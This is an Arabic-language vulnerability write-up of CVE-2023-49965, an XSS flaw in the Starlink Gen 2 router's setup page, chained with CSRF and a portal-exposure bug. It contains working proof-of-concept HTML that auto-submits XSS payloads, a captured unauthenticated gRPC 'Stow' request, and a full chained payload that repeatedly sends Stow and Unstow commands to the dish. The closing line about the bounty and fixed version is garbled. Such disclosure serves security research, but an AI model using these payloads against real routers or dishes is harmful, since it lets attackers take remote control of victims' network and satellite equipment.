
CVE-2023-49965 | SpaceX / Starlink Router Gen 2 XSS
يمكنك مشاهدة النسخة الكورية من المنشور هنا :
https://hackintoanetwork.com/blog/2023-starlink-router-gen2-xss-kor
ثغرة Cross-Site Scripting (XSS) في صفحة captive portal الأولية لراوتر الجيل الثاني يمكن أن تسمح للمهاجم بالسيطرة على router و Dishy.

تحدث الثغرة بسبب عدم كفاية تصفية قيم الإدخال لمعاملات ssid و password في صفحة الإعداد الأولية للراوتر (http://192.168.1.1/setup).
<html>
<body>
<h1>Proof of Concept</h1>
<form id="PoC" method="POST" action="http://192.168.1.1/setup">
<input type="hidden" name="ssid" value='" onfocus=javascript:alert(`XSS`); autofocus="'>
<!-- <input type="hidden" name="password" value='" onfocus=javascript:alert(`XSS`); autofocus="'> -->
</form>
<script type="text/javascript">
document.addEventListener("DOMContentLoaded", function() {
document.getElementById("PoC").submit();
});
</script>
</body>
<html>
يمكن استغلال ثغرة Cross-Site Scripting (XSS) هذه بالاقتران مع هجوم Cross-Site Request Forgery (CSRF)، كما هو موضح في إثبات المفهوم أعلاه.
عادةً، يجب أن تكون صفحة captive portal نشطة فقط على العنوان الداخلي للراوتر، 192.168.1.1، ولكن كان هناك خلل في أجهزة الراوتر القديمة سمح لصفحة captive portal بأن تكون متاحة بشكل غير متوقع من العنوان الداخلي لـ Dishy، 192.168.100.1.
http://192.168.1.1/setup → يتم عرض صفحة captive portal بشكل صحيح.

http://192.168.100.1/setup → يتم عرض صفحة captive portal أيضًا على هذا العنوان.

(عادةً، لا ينبغي أن يكون الوصول إلى صفحة captive portal ممكنًا على العنوان الداخلي لـ Dishy، 192.168.100.1.)
يؤدي استخدام مثل هذا الخلل مع ثغرة Cross-Site Scripting (XSS) إلى تجاوز Same-Origin Policy (SOP) في المتصفح، مما يتيح السيطرة على كل من الراوتر وDishy.
يمكن التأكد من أن نفس ثغرة Cross-Site Scripting (XSS) تحدث على العنوان http://192.168.100.1/setup أيضًا.
الآن دعنا نرى كيف يمكنني استغلال هذه الثغرات للسيطرة على Router و Dishy.

عند إصدار أمر Stow من واجهة المسؤول، يتم إرسال طلب HTTP التالي إلى Dishy
(ملاحظة: يسمح أمر Stow بطي هوائي Dishy للتحرك أو التخزين.)
POST /SpaceX.API.Device.Device/Handle HTTP/1.1
Host: 192.168.100.1:9201
Content-Length: 8
x-grpc-web: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.63 Safari/537.36
content-type: application/grpc-web+proto
Accept: */*
Origin: http://dishy.starlink.com
Referer: http://dishy.starlink.com/
Accept-Encoding: gzip, deflate, br
Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close
�}
يحتوي ترويسة هذا الطلب على عدة معلومات مهمة.
x-grpc-web: 1
يشير إلى استخدام بروتوكول gRPC-Web.
(gRPC-Web هو بروتوكول يسمح لعملاء الويب بإجراء استدعاءات gRPC إلى الخادم.)
content-type: application/grpc-web+proto
يعني أن البيانات المرسلة تستخدم بروتوكول gRPC ومشفرة بتنسيق protobuf.
Request Body

نص طلب Stow الخاص بـ Dishy (Hex)
\x00\x00\x00\x00\x03\xef\xbf\xbd\x7d\x00
بتجميع هذه المعلومات، عندما يصدر المستخدم أمر Stow باستخدام واجهة المسؤول، يتم إرسال الأمر إلى Dishy عبر gRPC، مما يطوي Dishy إلى حالة قابلة للنقل.
ومع ذلك، إذا نظرت إلى الطلب، ستلاحظ أنه لا يوجد مصادقة للمستخدم الذي يرسله.
هذا يعني أن شخصًا آخر غير المسؤول يمكنه إرسال نفس الطلب والتحكم في Dishy دون إذن. لكن هذه الثغرة تتطلب أن يكون لدى المهاجم وصول فعلي إلى الشبكة المحلية، مما يحد من نطاق الهجوم مقارنة بالهجمات التي يمكن أن تحدث عن بُعد.
إذا كان الأمر كذلك، فقد تعتقد أنه يمكنك محاولة شن هجوم Cross-Site Request Forgery (CSRF) بحمولة ترسل نفس الطلب.
على الرغم من أن هذا سيناريو ممكن، إلا أن Same-Origin Policy (SOP) في المتصفح يحد من هذا الهجوم.
يتطلب gRPC ترويسة content-type محددة تسمى application/grpc-web+proto.
ومع ذلك، تتسبب Same-Origin Policy (SOP) في قيام المتصفحات بإزالة هذه الترويسة عند إرسال الطلبات من مصادر أخرى.
هذا يجعل من المستحيل إرسال طلبات gRPC إلى Dishy من الخارج في الظروف العادية.
عادةً، تقيد Same-Origin Policy (SOP) متصفحات الويب من إرسال الطلبات من مصادر مختلفة.
ومع ذلك، باستخدام ثغرة Cross-Site Scripting (XSS)، يمكن للمهاجم تنفيذ سكربت داخل متصفح الويب الخاص بالضحية.
تعتبر السكربتات التي يحقنها المهاجم باستخدام ثغرة Cross-Site Scripting (XSS) وكأنها نُفذت من نفس المصدر (أي الموقع الذي يتصفحه الضحية حاليًا).
بسبب هذا، تتعرف Same-Origin Policy (SOP) على الطلبات الناتجة عن هذه السكربتات على أنها قادمة من نفس المصدر، وبالتالي لا تنطبق قيود Same-Origin Policy (SOP) في هذه الحالة.
لذلك، في هجوم Cross-Site Request Forgery (CSRF) باستخدام ثغرة Cross-Site Scripting (XSS) يتطلب ترويسة content-type محددة، مثل طلب gRPC، ولأن سكربت الهجوم يعمل داخل متصفح الضحية، يتم التعرف على الطلب كطلب شرعي ويتم إرساله مع ترويسة content-type المحددة هذه.
على سبيل المثال، من خلال ربط خلل في 192.168.100.1 مع ثغرة Cross-Site Scripting (XSS)، يمكن للمهاجم إرسال سكربت خبيث لتوجيه متصفح المستخدم لإرسال طلب grpc للتحكم في Router أو Dishy. (يمكن للمهاجم إرسال مجموعة متنوعة من طلبات grpc، بما في ذلك أوامر Stow وUnstow الخاصة بـ Dishy).
لذلك، من خلال ربط ثغرة Cross-Site Scripting (XSS) والـ bug المذكور أعلاه، يمكن إنشاء حمولة ترسل طلب Stow gRPC إلى Dishy على النحو التالي: (النتيجة هي أن المهاجم يمكنه التحكم عن بُعد في router أو Dishy. على سبيل المثال، يمكنهم إرسال أوامر grpc لتغيير router settings أو التلاعب بـ Dishy's functionality.)
<html>
<body>
<h1>Dishy Stow and Unstow</h1>
<form id="PoC" method="POST" action="http://192.168.100.1/setup">
<!-- <input type="hidden" name="ssid" value='" onfocus=javascript:alert(`XSS`); autofocus="'> -->
<input type="hidden" name="password" value='"><script>for(let i=0;i<100;i++){setTimeout(()=>{var xhr=new XMLHttpRequest();xhr.open("POST","http://192.168.100.1:9201/SpaceX.API.Device.Device/Handle",true);xhr.setRequestHeader("x-grpc-web","1");xhr.setRequestHeader("Content-Type","application/grpc-web+proto");xhr.onreadystatechange=()=>{if(xhr.readyState==4&&xhr.status==200){console.log(xhr.responseText);}};xhr.send(new Uint8Array([0,0,0,0,3,146,125,0]).buffer);setTimeout(()=>{var xhr2=new XMLHttpRequest();xhr2.open("POST","http://192.168.100.1:9201/SpaceX.API.Device.Device/Handle",true);xhr2.setRequestHeader("x-grpc-web","1");xhr2.setRequestHeader("Content-Type","application/grpc-web+proto");xhr2.onreadystatechange=()=>{if(xhr2.readyState==4&&xhr2.status==200){console.log(xhr2.responseText);}};xhr2.send(new Uint8Array([0,0,0,0,5,146,125,2,8,1]).buffer);},1000);},i*2000);}</script><input type="hidden'/>
</form>
<script type="text/javascript">
document.addEventListener("DOMContentLoaded", function() {
document.getElementById("PoC").submit();
});
</script>
</body>
<html>
$500 دولار أمريكي)2023.48.0 فما فوق)